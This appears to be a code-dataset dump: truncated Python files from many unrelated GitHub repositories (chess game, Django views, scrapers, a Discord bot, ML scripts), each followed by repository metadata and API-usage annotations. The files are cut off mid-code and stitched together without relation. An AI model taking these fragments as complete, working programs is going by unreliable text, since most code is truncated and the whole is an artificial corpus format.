import fcntl import logging import socket import struct import urllib.request from urllib.parse import urlparse from xml.dom import minidom from functools import wraps import urllib.error import xml SIOCGIFINDEX = 0x8933 # Get interface index logger = logging.getLogger(__name__) class NotRetrievedError(Exception): ...
Blockstream/satellite
blocksatcli/upnp.py
upnp.py
py
12,542
python
en
code
949
github-code
6
[ { "api_name": "logging.getLogger", "line_number": 13, "usage_type": "call" }, { "api_name": "urllib.request.request.Request", "line_number": 79, "usage_type": "call" }, { "api_name": "urllib.request.request", "line_number": 79, "usage_type": "attribute" }, { "api_...
14629235583
import numpy as np import time import os import sys from scipy.stats import poisson, binom from scipy.special import erf as erf from admin import make_glob_array import multiprocessing # from Sim_show import Sim_fit import matplotlib.pyplot as plt from mpl_toolkits import mplot3d import matplotlib.colors as mcolors fro...
gerakolt/DireXeno
fit/show.py
show.py
py
6,250
python
en
code
0
github-code
6
[ { "api_name": "numpy.array", "line_number": 15, "usage_type": "call" }, { "api_name": "numpy.load", "line_number": 19, "usage_type": "call" }, { "api_name": "numpy.transpose", "line_number": 27, "usage_type": "call" }, { "api_name": "numpy.loadtxt", "line_numb...
25068821679
import pygame from math import * import time pygame.init() pygame.display.set_caption("sprite sheet") # sets the window title screen = pygame.display.set_mode((1000, 800)) # creates game screen screen.fill((0,0,0)) clock = pygame.time.Clock() #set up clock #Variables and stuff (Start)------------------------------...
richfls/chess
main9.py
main9.py
py
11,852
python
en
code
0
github-code
6
[ { "api_name": "pygame.init", "line_number": 4, "usage_type": "call" }, { "api_name": "pygame.display.set_caption", "line_number": 5, "usage_type": "call" }, { "api_name": "pygame.display", "line_number": 5, "usage_type": "attribute" }, { "api_name": "pygame.displa...
5432983759
import logging import warnings from typing import List, Tuple import numpy as np import pandas as pd from anndata import AnnData from mudata import MuData from pandas.api.types import is_numeric_dtype from sklearn.neighbors import KNeighborsClassifier from ..utils import check_transition_rule, get_views_from_structur...
Teichlab/multi-view-atlas
src/multi_view_atlas/tl/map_query.py
map_query.py
py
11,557
python
en
code
0
github-code
6
[ { "api_name": "warnings.simplefilter", "line_number": 15, "usage_type": "call" }, { "api_name": "warnings.simplefilter", "line_number": 16, "usage_type": "call" }, { "api_name": "MultiViewAtlas.MultiViewAtlas", "line_number": 27, "usage_type": "name" }, { "api_nam...
18390517391
import re import scrapy base_url = "https://www.senscritique.com/liste/Cine_2017_sur_un_coin_de_table/1562107" class SC_Spider(scrapy.Spider): name = "liste" start_urls = [base_url] summary_done = False current_page = 1 def parse(self, response): if not self.summary_done: list...
ria4/tln
util/old/crawlers/sc/liste_crawler.py
liste_crawler.py
py
1,503
python
en
code
3
github-code
6
[ { "api_name": "scrapy.Spider", "line_number": 6, "usage_type": "attribute" }, { "api_name": "re.sub", "line_number": 14, "usage_type": "call" } ]
2053824632
# USAGE # python extract_features.py --dataset ../datasets/kaggle_dogs_vs_cats/train --output ../datasets/kaggle_dogs_vs_cats/hdf5/features.hdf5 from keras.applications import ResNet50, imagenet_utils from keras.preprocessing.image import load_img, img_to_array from sklearn.preprocessing import LabelEncoder from pyimag...
lykhahaha/Mine
PractitionerBundle/chapter10-dogs_vs_cats/extract_features.py
extract_features.py
py
2,835
python
en
code
0
github-code
6
[ { "api_name": "argparse.ArgumentParser", "line_number": 15, "usage_type": "call" }, { "api_name": "imutils.paths.list_images", "line_number": 27, "usage_type": "call" }, { "api_name": "imutils.paths", "line_number": 27, "usage_type": "name" }, { "api_name": "rando...
34776536653
from django.http import JsonResponse, HttpResponseRedirect from django.shortcuts import render, redirect from django.urls import reverse from ..filters.CRPFilter import CRPFilter from ..forms.CRPForm import UpdateCRPForm, CRPTrackForm, AddCRPForm from django.forms import modelformset_factory from datetime import datet...
nazmul53p/ERP
productionplanning/views/CRPViews.py
CRPViews.py
py
14,011
python
en
code
1
github-code
6
[ { "api_name": "models.CRP.CRPTrack.objects.all", "line_number": 46, "usage_type": "call" }, { "api_name": "models.CRP.CRPTrack.objects", "line_number": 46, "usage_type": "attribute" }, { "api_name": "models.CRP.CRPTrack", "line_number": 46, "usage_type": "name" }, { ...
18026129984
import requests from bs4 import BeautifulSoup import csv from os import getcwd print('\n'*3) print(" /~________~\ .----------. (| L0L Pull |) '----------' \_~~~~~~~~_/ ") print('\n'*3) print(" .: Author- Jean Paul :. ") print('\n'*3) current_di...
PurpleS3Cf0X/Pull_LOLBAS
Pull_L0LBAS_Binaries.py
Pull_L0LBAS_Binaries.py
py
1,292
python
en
code
0
github-code
6
[ { "api_name": "os.getcwd", "line_number": 12, "usage_type": "call" }, { "api_name": "csv.writer", "line_number": 16, "usage_type": "call" }, { "api_name": "requests.get", "line_number": 19, "usage_type": "call" }, { "api_name": "bs4.BeautifulSoup", "line_numbe...
2266571308
import os import fnmatch import datetime from lxml import etree from openpyxl import Workbook from itertools import count try: # Python 2 from itertools import izip except ImportError: # Python 3 izip = zip def save_test_result_to_excel_file(): tc_name_list = [] tc_status_list ...
jsonpanganiban/robotframework-result-extractor
result_extractor_excel.py
result_extractor_excel.py
py
2,706
python
en
code
7
github-code
6
[ { "api_name": "itertools.izip", "line_number": 12, "usage_type": "name" }, { "api_name": "lxml.etree.iterparse", "line_number": 22, "usage_type": "call" }, { "api_name": "lxml.etree", "line_number": 22, "usage_type": "name" }, { "api_name": "datetime.datetime.now"...
12793192330
import json import random for i in range(20): num = random.randint(0, 7) cow = "Cow" if num == 6 or num == 7: cow = "Not Cow" data = {"name": "Cowpoly #{0}".format(i), "tokenID": i, "description": "Cowpoly is an experimental NFT collection created for educational purpose only. Credits for all artwork...
eddiekaung/cowpolyNFT
metadata/script.py
script.py
py
580
python
en
code
0
github-code
6
[ { "api_name": "random.randint", "line_number": 6, "usage_type": "call" }, { "api_name": "json.dump", "line_number": 17, "usage_type": "call" } ]
10424727921
#-*- coding: utf-8 -*- """ @author: Jordi Fernández @contact: jordi.fernandez@whads.com @organization: Whads/Accent SL @since: September 2010 """ import cherrypy from cocktail.events import when from cocktail import schema from cocktail.translations import translations from cocktail.controllers import context from...
marticongost/woost
woost/extensions/mailer/__init__.py
__init__.py
py
3,502
python
en
code
0
github-code
6
[ { "api_name": "cocktail.translations.translations.define", "line_number": 18, "usage_type": "call" }, { "api_name": "cocktail.translations.translations", "line_number": 18, "usage_type": "name" }, { "api_name": "cocktail.translations.translations.define", "line_number": 24, ...
19624665111
# -*- coding: utf-8 -*- import math from django.contrib.auth.decorators import login_required from django.contrib.auth.models import User from django.http import HttpResponse, JsonResponse from django.shortcuts import render, redirect from django.contrib import messages # Create your views here. from django.urls impor...
drhtka/prifile
main/views.py
views.py
py
21,683
python
en
code
0
github-code
6
[ { "api_name": "create_profile.models.LikeModel.objects.filter", "line_number": 22, "usage_type": "call" }, { "api_name": "create_profile.models.LikeModel.objects", "line_number": 22, "usage_type": "attribute" }, { "api_name": "create_profile.models.LikeModel", "line_number": ...
2687378702
import numpy as np import random as rnd import matplotlib.pyplot as plt CORDS = [] avaibleNodes = [] border = 30 x0y0 = [0,0] CORDS.append(x0y0) avaibleNodes.append([x0y0[0]+1,x0y0[1]]) avaibleNodes.append([x0y0[0],x0y0[1]+1]) avaibleNodes.append([x0y0[0]-1,x0y0[1]]) avaibleNodes.append([x0y0[0],x0y0...
filipmalecki94/Computer_modeling
lista4/zadanie1.py
zadanie1.py
py
1,915
python
en
code
0
github-code
6
[ { "api_name": "random.randint", "line_number": 22, "usage_type": "call" }, { "api_name": "matplotlib.pyplot.rcParams", "line_number": 81, "usage_type": "attribute" }, { "api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name" }, { "api_name": "matp...
43418038023
import cv2 as cv import matplotlib.pyplot as plt import numpy as np img= cv.imread("cat/cat.png") #cv.imshow("cat",img) def rescale(frame, scale=0.5): width = int(frame.shape[1]*scale) height = int(frame.shape[0]*scale) dims=(width,height) return cv.resize(frame, dims, interpolation=cv.INTER_...
aishanii/Python
main.py
main.py
py
444
python
en
code
1
github-code
6
[ { "api_name": "cv2.imread", "line_number": 5, "usage_type": "call" }, { "api_name": "cv2.resize", "line_number": 11, "usage_type": "call" }, { "api_name": "cv2.INTER_AREA", "line_number": 11, "usage_type": "attribute" }, { "api_name": "cv2.xfeatures2d.SURF_create"...
73772810746
from typing import List LAND = '1' WATER = '0' # TODO: Review a superior solutions def overlaps(min1, max1, min2, max2): overlap = max(0, min(max1, max2) - max(min1, min2)) if overlap > 0: return True if min1 == min2 or min1 == max2 or max1 == min2 or max1 == max2: return True if (min...
AndreiBoris/sample-problems
python/0200-numbers-of-islands/number-of-islands.py
number-of-islands.py
py
5,325
python
en
code
0
github-code
6
[ { "api_name": "typing.List", "line_number": 22, "usage_type": "name" }, { "api_name": "typing.List", "line_number": 55, "usage_type": "name" } ]
41636609732
from django.shortcuts import get_object_or_404, render, redirect, reverse from django.http import HttpResponseRedirect from .models import UserNotification # Create your views here. def notification_visited(request, pk): notification = get_object_or_404(UserNotification, pk=pk) question_id = notific...
bstecka/overboard
overboard/notifications/views.py
views.py
py
584
python
en
code
0
github-code
6
[ { "api_name": "django.shortcuts.get_object_or_404", "line_number": 9, "usage_type": "call" }, { "api_name": "models.UserNotification", "line_number": 9, "usage_type": "argument" }, { "api_name": "django.http.HttpResponseRedirect", "line_number": 12, "usage_type": "call" ...
10120459329
""" Library and Wrapper for SI7021 temperature/humidity sensor. Based on https://github.com/chrisbalmer/micropython-si7021, which implements a micropython driver. Extensions: Added a wrapper function for getting directly the values """ from time import sleep import sensors import logging class CRCError(Except...
insighio/insighioNode
insighioNode/lib/sensors/si7021.py
si7021.py
py
6,216
python
en
code
5
github-code
6
[ { "api_name": "time.sleep", "line_number": 63, "usage_type": "call" }, { "api_name": "time.sleep", "line_number": 70, "usage_type": "call" }, { "api_name": "time.sleep", "line_number": 91, "usage_type": "call" }, { "api_name": "time.sleep", "line_number": 97, ...
28205735632
poppler_path=r"C:\Users\ahmed\Downloads\New folder\Release-22.04.0-0\poppler-22.04.0\Library\bin" pdf_path = r"D:\certifiaction\freelancing.pdf" from pdf2image import convert_from_path pages=convert_from_path(pdf_path=pdf_path,poppler_path=poppler_path) import os saving_folder=r"D:\certifiaction" c=1 fo...
ahmedsayed545/ahmedsayed545
convert pdf to img.py
convert pdf to img.py
py
438
python
en
code
0
github-code
6
[ { "api_name": "pdf2image.convert_from_path", "line_number": 6, "usage_type": "call" }, { "api_name": "os.path.join", "line_number": 14, "usage_type": "call" }, { "api_name": "os.path", "line_number": 14, "usage_type": "attribute" } ]
41063841441
import logging from threading import Thread class BasicComponent(Thread): """ Basic class, more elaborated components will herit from this class. """ def __init__(self, ID, dest_endpoint, mode, queue): #Assert validity of the parameters received endpoint_above, endpoint_below = dest_en...
ylaker/tweakable-pt
components/Base.py
Base.py
py
2,995
python
en
code
0
github-code
6
[ { "api_name": "threading.Thread", "line_number": 5, "usage_type": "name" }, { "api_name": "threading.Thread.__init__", "line_number": 30, "usage_type": "call" }, { "api_name": "threading.Thread", "line_number": 30, "usage_type": "name" }, { "api_name": "logging.er...
22676158140
import cv2 import matplotlib.pyplot as plt import numpy as np import selectivesearch from predictors import resnet152 from utils import selectors, nms import xml.etree.ElementTree as ET import random boxes = {} def getImgReady(img, show=False): if img is None: return None if show: plt.imshow...
juvu/ImageSearch
test/testPredictorInterface.py
testPredictorInterface.py
py
3,482
python
en
code
null
github-code
6
[ { "api_name": "matplotlib.pyplot.imshow", "line_number": 16, "usage_type": "call" }, { "api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name" }, { "api_name": "matplotlib.pyplot.axis", "line_number": 17, "usage_type": "call" }, { "api_name": "mat...
39654499374
import os import glob import PIL.Image as I def load_cityscapes_sem_seg_dict(image_dir, gt_dir): """ Args: image_dir (str): path to the raw dataset. e.g., "~/cityscapes/leftImg8bit/train". gt_dir (str): path to the raw annotations. e.g., "~/cityscapes/gtFine/train". Returns: ...
lqxisok/llSeg
datasets/segmentation/cityscapes.py
cityscapes.py
py
1,152
python
en
code
2
github-code
6
[ { "api_name": "glob.glob", "line_number": 16, "usage_type": "call" }, { "api_name": "os.path.join", "line_number": 16, "usage_type": "call" }, { "api_name": "os.path", "line_number": 16, "usage_type": "attribute" }, { "api_name": "os.path.isfile", "line_number...
30273124330
from django.contrib.auth.backends import RemoteUserBackend from django.core.exceptions import ImproperlyConfigured from django.conf import settings from django.contrib.auth import get_user_model class GroupEnabledRemoteUserBackend(RemoteUserBackend): def authenticate(self, user, remote_groups): user.remote...
jcmcken/cloudcover-cumulus
cumulus/backends.py
backends.py
py
1,110
python
en
code
0
github-code
6
[ { "api_name": "django.contrib.auth.backends.RemoteUserBackend", "line_number": 6, "usage_type": "name" }, { "api_name": "django.conf.settings", "line_number": 14, "usage_type": "argument" }, { "api_name": "django.conf.settings", "line_number": 15, "usage_type": "argument"...
39938022567
#%% import nltk import vaderSentiment from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer import numpy as np import json import glob import errno import pandas import random import requests from bs4 import BeautifulSoup import news_web_scraping as NWS #%% # FUNCTIONS # input: text (string) # output...
OrionMat/Sentiment-Analysis
newsSentimentAnalysis.py
newsSentimentAnalysis.py
py
6,297
python
en
code
0
github-code
6
[ { "api_name": "vaderSentiment.vaderSentiment.SentimentIntensityAnalyzer", "line_number": 23, "usage_type": "call" }, { "api_name": "nltk.sent_tokenize", "line_number": 24, "usage_type": "call" }, { "api_name": "json.loads", "line_number": 37, "usage_type": "call" }, {...
18399962026
# from autogluon.tabular import TabularDataset, TabularPredictor # train_data = TabularDataset('https://autogluon.s3.amazonaws.com/datasets/Inc/train.csv') # f = open('/workfile.txt', 'r+') # f.write(train_data) # subsample_size = 500 # subsample subset of data for faster demo, try setting this to much larger values #...
kehwhy/HAI-analysis-tool
back-end/test_api_logic.py
test_api_logic.py
py
16,932
python
en
code
2
github-code
6
[ { "api_name": "pandas.read_csv", "line_number": 57, "usage_type": "call" }, { "api_name": "sklearn.preprocessing.OrdinalEncoder", "line_number": 66, "usage_type": "call" }, { "api_name": "aif360.datasets.StandardDataset", "line_number": 182, "usage_type": "call" }, { ...
38424940724
#!/usr/bin/env python3 import cv2 import numpy as np import dlib import Facerecognize as fr font=cv2.FONT_ITALIC cap=cv2.VideoCapture(0) detector=dlib.get_frontal_face_detector() face_data,face_id,dic=fr.training_dataset_and_labels() recognizer=cv2.face.LBPHFaceRecognizer_create() recognizer.train(face_data,np.array(f...
prem-pratap/Face-Recognition-System
reco.py
reco.py
py
982
python
en
code
0
github-code
6
[ { "api_name": "cv2.FONT_ITALIC", "line_number": 7, "usage_type": "attribute" }, { "api_name": "cv2.VideoCapture", "line_number": 8, "usage_type": "call" }, { "api_name": "dlib.get_frontal_face_detector", "line_number": 9, "usage_type": "call" }, { "api_name": "Fac...
31188466771
import discord from discord.ext import commands import datetime import nekos import asyncio import wikipedia import pyowm import os from discord import utils from discord.ext.commands import Bot import urllib.parse import re import json import io import requests import random import time from Cyber...
Myrvek/CatCat
Cat.py
Cat.py
py
19,363
python
ru
code
0
github-code
6
[ { "api_name": "discord.ext.commands.Bot", "line_number": 21, "usage_type": "name" }, { "api_name": "discord.ext.commands", "line_number": 21, "usage_type": "name" }, { "api_name": "discord.ext.commands.Bot.remove_command", "line_number": 22, "usage_type": "call" }, { ...
23230602110
import ui from PIL import Image as ImageP import io import random mainWindow = ui.View() mainWindow.name = 'Image Conversion' mainWindow.background_color = 'white' mainWindow.width = 700 #ui.get_screen_size().width mainWindow.height = 700 #ui.get_screen_size().height def pil2ui(pil_img): with io.BytesIO() as buffer...
WhittlinRich/python
ImageConversion.py
ImageConversion.py
py
955
python
en
code
0
github-code
6
[ { "api_name": "ui.View", "line_number": 6, "usage_type": "call" }, { "api_name": "io.BytesIO", "line_number": 14, "usage_type": "call" }, { "api_name": "ui.Image.from_data", "line_number": 16, "usage_type": "call" }, { "api_name": "ui.Image", "line_number": 16...
12465932204
from flask import Flask, flash, redirect,\ url_for, session, g from functools import wraps from database import connect_db, query_db from tigergrader.config import cfg app = Flask(__name__) app.config.update(cfg) class GraderConfiguration(): def __setitem__(self, k, v): g.db.execute('replace into ...
pablooliveira/tigergrader
tigergrader/__init__.py
__init__.py
py
1,408
python
en
code
0
github-code
6
[ { "api_name": "flask.Flask", "line_number": 9, "usage_type": "call" }, { "api_name": "tigergrader.config.cfg", "line_number": 10, "usage_type": "argument" }, { "api_name": "flask.g.db.execute", "line_number": 16, "usage_type": "call" }, { "api_name": "flask.g.db",...
72859056509
import os import tempfile from functools import partial from jinja2 import Environment, FunctionLoader from babel.dates import format_date, format_datetime from babel.numbers import format_currency try: import weasyprint except ImportError: pass from genshi.template import MarkupTemplate from trytond.tools i...
openlabs/trytond-report-html
openlabs_report_webkit/__init__.py
__init__.py
py
6,758
python
en
code
8
github-code
6
[ { "api_name": "trytond.report.Report", "line_number": 22, "usage_type": "name" }, { "api_name": "trytond.pool.Pool", "line_number": 27, "usage_type": "call" }, { "api_name": "trytond.report.TranslateFactory", "line_number": 37, "usage_type": "call" }, { "api_name"...
27391305853
import uuid from fastapi import status from fastapi.testclient import TestClient from httpx import Response from internal.types import ScopedSession from models.chat import Room def test_POST_create_new_room_api_success_should_return_200(client: TestClient) -> None: response: Response = client.post("/rooms", js...
ebysofyan/dcentric-health-hometest
chatroom-backend/tests/test_chat_room_api.py
test_chat_room_api.py
py
1,506
python
en
code
0
github-code
6
[ { "api_name": "fastapi.testclient.TestClient", "line_number": 11, "usage_type": "name" }, { "api_name": "httpx.Response", "line_number": 12, "usage_type": "name" }, { "api_name": "fastapi.status.HTTP_200_OK", "line_number": 13, "usage_type": "attribute" }, { "api_...
26798311383
import random import cv2 import cvzone import time from cvzone.HandTrackingModule import HandDetector cap = cv2.VideoCapture(0) cap.set(3, 1080) cap.set(4, 720) detector=HandDetector(maxHands=1) timer=0 stateResult=False startGame=False scores =[0,0] while True: bg_main = cv2.imread('F:/...
123dhanya/final-project
you.py
you.py
py
2,949
python
en
code
0
github-code
6
[ { "api_name": "cv2.VideoCapture", "line_number": 8, "usage_type": "call" }, { "api_name": "cvzone.HandTrackingModule.HandDetector", "line_number": 13, "usage_type": "call" }, { "api_name": "cv2.imread", "line_number": 22, "usage_type": "call" }, { "api_name": "cv2...
37061565332
import os import sys import torch import torchvision.models from torch import optim from torch import nn from tqdm import tqdm from collections import Counter from easydict import EasyDict as edict from tools import CustomDataSet, Averagemeter, Speedometer, print_one_line, model_size_mb, ROCEstimator from torch.utils.t...
pi-null-mezon/antideepfakes
singleshot/train.py
train.py
py
9,075
python
en
code
0
github-code
6
[ { "api_name": "torch.device", "line_number": 15, "usage_type": "call" }, { "api_name": "torch.cuda.is_available", "line_number": 15, "usage_type": "call" }, { "api_name": "torch.cuda", "line_number": 15, "usage_type": "attribute" }, { "api_name": "os.environ", ...
71261723068
# -*- coding: utf-8 -*- __all__ = ('random_policy', 'stdin_policy', 'imitation_policy', 'inference_policy') from utils.distribution import sample_by_mask from utils.match_data import MatchData from utils.tile_traits import str2tile, tile2str from torch import nn import numpy as np class random_policy: ...
illusive-chase/ChineseStandardMahjong
utils/policy.py
policy.py
py
5,871
python
en
code
3
github-code
6
[ { "api_name": "utils.distribution.sample_by_mask", "line_number": 16, "usage_type": "call" }, { "api_name": "numpy.uint8", "line_number": 25, "usage_type": "attribute" }, { "api_name": "numpy.asarray", "line_number": 93, "usage_type": "call" }, { "api_name": "nump...
10343753605
# -*- coding: utf-8 -*- """ Chapter 02 script 02 """ import numpy as np import tensorflow as tf from tensorflow import keras print(tf.__version__) #should see 2.0.0 or higher1.0 print(keras.__version__) #should see 2.2.4 – tf # the four different states of the XOR gate training_data = np.array([[0,0],[0...
sgupta117/ML-Material-Krish_Naik-
Natural-Lanuage-Processing-with-TensorFlow2-master/Chapter_02/chapter_02_03.py
chapter_02_03.py
py
1,339
python
en
code
4
github-code
6
[ { "api_name": "tensorflow.__version__", "line_number": 9, "usage_type": "attribute" }, { "api_name": "tensorflow.keras.__version__", "line_number": 11, "usage_type": "attribute" }, { "api_name": "tensorflow.keras", "line_number": 11, "usage_type": "name" }, { "api...
4947454827
import uuid import datetime import json from oscal_pydantic import ( catalog, assessment_plan, assessment_results, complete, component, poam, profile, ssp, ) cg_uuid=uuid.uuid5(uuid.NAMESPACE_DNS, 'cloud.gov') ssp_au_01 = ssp.SpecificControlStatement( statement_id="au_01_smt", ...
pburkholder/oscal-pydantic
ssp.py
ssp.py
py
427
python
en
code
null
github-code
6
[ { "api_name": "uuid.uuid5", "line_number": 16, "usage_type": "call" }, { "api_name": "uuid.NAMESPACE_DNS", "line_number": 16, "usage_type": "attribute" }, { "api_name": "oscal_pydantic.ssp.SpecificControlStatement", "line_number": 18, "usage_type": "call" }, { "ap...
74523936828
#!/usr/bin/python3 """ script that takes your GitHub credentials """ import requests from sys import argv def getgithub(): url = "https://api.github.com/user" response = requests.get(url, auth=(argv[1], argv[2])) response = response.json() print(response.get("id")) if __name__ == "__main__": ...
BrunoGuerraS/holbertonschool-higher_level_programming
0x11-python-network_1/10-my_github.py
10-my_github.py
py
332
python
en
code
0
github-code
6
[ { "api_name": "requests.get", "line_number": 13, "usage_type": "call" }, { "api_name": "sys.argv", "line_number": 13, "usage_type": "name" } ]
40546855652
# chat/consumers.py import base64 import random from asgiref.sync import async_to_sync from channels.generic.websocket import AsyncWebsocketConsumer from channels.db import database_sync_to_async import json import time from face_machine_client.models import PassInfo, ClientInfo, SyncInfo from face_irobot_main.models ...
hamster1963/face-all-in-one-machine-backend
face_machine_client/consumers.py
consumers.py
py
14,986
python
en
code
0
github-code
6
[ { "api_name": "random.randint", "line_number": 25, "usage_type": "call" }, { "api_name": "channels.generic.websocket.AsyncWebsocketConsumer", "line_number": 29, "usage_type": "name" }, { "api_name": "json.dumps", "line_number": 46, "usage_type": "call" }, { "api_n...
27595046406
from PyQt5.QtGui import QFont from PyQt5.QtWidgets import ( QHBoxLayout, QListWidgetItem, QCheckBox, QGridLayout, QWidget, QComboBox, QListWidget, ) from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas import matplotlib import matplotlib.pyplot as plt from code_SR...
GB127/SRC-statistics
plots/save_plot.py
save_plot.py
py
2,948
python
en
code
0
github-code
6
[ { "api_name": "PyQt5.QtWidgets.QWidget", "line_number": 18, "usage_type": "name" }, { "api_name": "PyQt5.QtWidgets.QListWidget", "line_number": 38, "usage_type": "call" }, { "api_name": "code_SRC.composantes.Time", "line_number": 41, "usage_type": "call" }, { "api...
22432578680
import pandas as pd from openpyxl.styles import PatternFill def rgb_to_hex(rgb): return '%02x%02x%02x' % rgb def darken(hex_code, shade): shade = shade/10 #add something to convert shade number ie 9 actually equals 10% darker RGB = tuple(int(hex_code[i:i + 2], 16) for i in (0, 2, 4)) ...
mbgoodin/ColorShadeGenerator
main.py
main.py
py
6,351
python
en
code
0
github-code
6
[ { "api_name": "pandas.DataFrame", "line_number": 47, "usage_type": "call" }, { "api_name": "pandas.concat", "line_number": 54, "usage_type": "call" }, { "api_name": "pandas.DataFrame.from_dict", "line_number": 55, "usage_type": "call" }, { "api_name": "pandas.Data...
31983482821
"""empty message Revision ID: cadce5b06ea7 Revises: 5c4a7cc7d0e2 Create Date: 2020-03-25 11:23:09.141719 """ from alembic import op import sqlalchemy as sa from sqlalchemy.dialects import mysql # revision identifiers, used by Alembic. revision = 'cadce5b06ea7' down_revision = '5c4a7cc7d0e2' branch_labels = None depe...
huawenjin1995/Microblog
migrations/versions/cadce5b06ea7_.py
cadce5b06ea7_.py
py
3,298
python
en
code
0
github-code
6
[ { "api_name": "alembic.op.drop_index", "line_number": 21, "usage_type": "call" }, { "api_name": "alembic.op", "line_number": 21, "usage_type": "name" }, { "api_name": "alembic.op.drop_index", "line_number": 22, "usage_type": "call" }, { "api_name": "alembic.op", ...
18135169137
from flask import Flask app = Flask(__name__) @app.route('/') def index(): page = '<h1>Powers of two </h1>\n' for i in range(32): line = '2^{} = {}<br/>\n'.format(i, 2**i) page += line return page if __name__ == '__main__': app.run(debug=True)
janirac/Interapt-Labs
Python/Flask/pyflask/ANSWERS/flask_powers_of_two.py
flask_powers_of_two.py
py
297
python
en
code
0
github-code
6
[ { "api_name": "flask.Flask", "line_number": 3, "usage_type": "call" } ]
19246991804
from .model import ImageEncoder, ImageDecoder128 import torch class AE(torch.nn.Module): def __init__(self): super().__init__() self.encoder = ImageEncoder([1, 128, 256, 512, 1024, 2048, 4096], kernel_size=3, stride=2) self.decoder = ImageDecoder128() self.tanh = torch.nn.Tanh() #...
pmistry9597/Climate-Hack-2022
attention_conv/ae.py
ae.py
py
763
python
en
code
2
github-code
6
[ { "api_name": "torch.nn", "line_number": 4, "usage_type": "attribute" }, { "api_name": "model.ImageEncoder", "line_number": 8, "usage_type": "call" }, { "api_name": "model.ImageDecoder128", "line_number": 9, "usage_type": "call" }, { "api_name": "torch.nn.Tanh", ...
31411828229
import requests import unittest import json from Global_base import global_base,globa_phone from parameterized import parameterized from Global_base import login class GetMainLinkBySublink(unittest.TestCase): """我的建议接口""" def setUp(self): self.url = global_base.DefTool.url(self, '/usercenter/user/sugg...
chenyongzhiaaron/pytest-test-interface
interface/app/suggest_test.py
suggest_test.py
py
1,803
python
en
code
1
github-code
6
[ { "api_name": "unittest.TestCase", "line_number": 9, "usage_type": "attribute" }, { "api_name": "Global_base.global_base.DefTool.url", "line_number": 12, "usage_type": "call" }, { "api_name": "Global_base.global_base.DefTool", "line_number": 12, "usage_type": "attribute" ...
26038862506
from __future__ import annotations from dataclasses import dataclass from pants.backend.codegen.soap.soap_subsystem import SoapSubsystem from pants.backend.codegen.soap.target_types import WsdlSourcesGeneratorTarget from pants.core.goals.tailor import ( AllOwnedSources, PutativeTarget, PutativeTargets, ...
pantsbuild/pants
src/python/pants/backend/codegen/soap/tailor.py
tailor.py
py
1,624
python
en
code
2,896
github-code
6
[ { "api_name": "pants.core.goals.tailor.PutativeTargetsRequest", "line_number": 22, "usage_type": "name" }, { "api_name": "dataclasses.dataclass", "line_number": 21, "usage_type": "call" }, { "api_name": "pants.core.goals.tailor.AllOwnedSources", "line_number": 29, "usage_...
9023100800
import math import time from selenium import webdriver def calc(x): return str(math.log(abs(12 * math.sin(int(x))))) link = 'http://suninjuly.github.io/redirect_accept.html' try: browser = webdriver.Chrome() browser.get(link) time.sleep(4) # browser.execute_script("document.getElementsByTag...
Bulgakoff/auto-tests-course
less_2/windows/less2_step3_wins_1.py
less2_step3_wins_1.py
py
920
python
en
code
0
github-code
6
[ { "api_name": "math.log", "line_number": 8, "usage_type": "call" }, { "api_name": "math.sin", "line_number": 8, "usage_type": "call" }, { "api_name": "selenium.webdriver.Chrome", "line_number": 13, "usage_type": "call" }, { "api_name": "selenium.webdriver", "l...
17141988862
import time import math import torch from torch import nn, Tensor from torch.optim import Adam from torch.optim.lr_scheduler import CosineAnnealingWarmRestarts from transformers import logging from utils.utils import AverageMeter from .adaptformer import AdaptFormer from torch.nn.parallel import DistributedDataParallel...
mondalanindya/MSQNet
multi-label-action-main/models/adaptformerm.py
adaptformerm.py
py
7,084
python
en
code
8
github-code
6
[ { "api_name": "torch.nn.Module", "line_number": 13, "usage_type": "attribute" }, { "api_name": "torch.nn", "line_number": 13, "usage_type": "name" }, { "api_name": "adaptformer.AdaptFormer", "line_number": 16, "usage_type": "call" }, { "api_name": "torch.nn.LayerN...
75154654266
import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README.md')).read() CHANGES = open(os.path.join(here, 'CHANGES.txt')).read() requires = [ 'django' ] setup(name='djinn', version="1.0.0-snapshot", description...
PythonUnited/djinn
setup.py
setup.py
py
1,172
python
en
code
1
github-code
6
[ { "api_name": "os.path.abspath", "line_number": 5, "usage_type": "call" }, { "api_name": "os.path", "line_number": 5, "usage_type": "attribute" }, { "api_name": "os.path.dirname", "line_number": 5, "usage_type": "call" }, { "api_name": "os.path.join", "line_nu...
73786272509
import pandas as pd import numpy as np from sklearn.metrics import mean_squared_error from math import sqrt from utils import mape def baseline(df): # predict next year by just taking the values from last year predicted = df.loc['2016-01-01':'2016-12-31'] actual = df.loc['2017-01-01':'2017-12-31'] # a...
coomish/stl-transferability
Baseline.py
Baseline.py
py
995
python
en
code
0
github-code
6
[ { "api_name": "numpy.nan", "line_number": 13, "usage_type": "attribute" }, { "api_name": "pandas.Series", "line_number": 16, "usage_type": "call" }, { "api_name": "pandas.Series", "line_number": 17, "usage_type": "call" }, { "api_name": "math.sqrt", "line_numb...
39868260221
""" Настройка админки """ import logging from typing import Dict import toml from django.conf import settings from django.contrib import admin from django.contrib.admin.apps import AdminConfig from django.http import HttpRequest from django.template.response import TemplateResponse from django.urls impor...
artemgv/spacemusic
app/main/admin_config.py
admin_config.py
py
2,473
python
en
code
0
github-code
6
[ { "api_name": "django.contrib.admin.AdminSite", "line_number": 17, "usage_type": "attribute" }, { "api_name": "django.contrib.admin", "line_number": 17, "usage_type": "name" }, { "api_name": "django.conf.settings.SLOGAN", "line_number": 18, "usage_type": "attribute" }, ...
16621629920
""" refresh_tokens.py """ from __future__ import print_function import getpass import json import requests import sys import time from os import path from .exceptions import AgaveTokenError from ..utils import handle_bad_response_status_code def refresh_token(api_key, api_secret, refresh_token, tenant_url): ...
tapis-project/tapispy
tapispy/tokens/refresh_tokens.py
refresh_tokens.py
py
1,724
python
en
code
0
github-code
6
[ { "api_name": "requests.post", "line_number": 47, "usage_type": "call" }, { "api_name": "requests.exceptions", "line_number": 49, "usage_type": "attribute" }, { "api_name": "exceptions.AgaveTokenError", "line_number": 50, "usage_type": "call" }, { "api_name": "uti...
71718720189
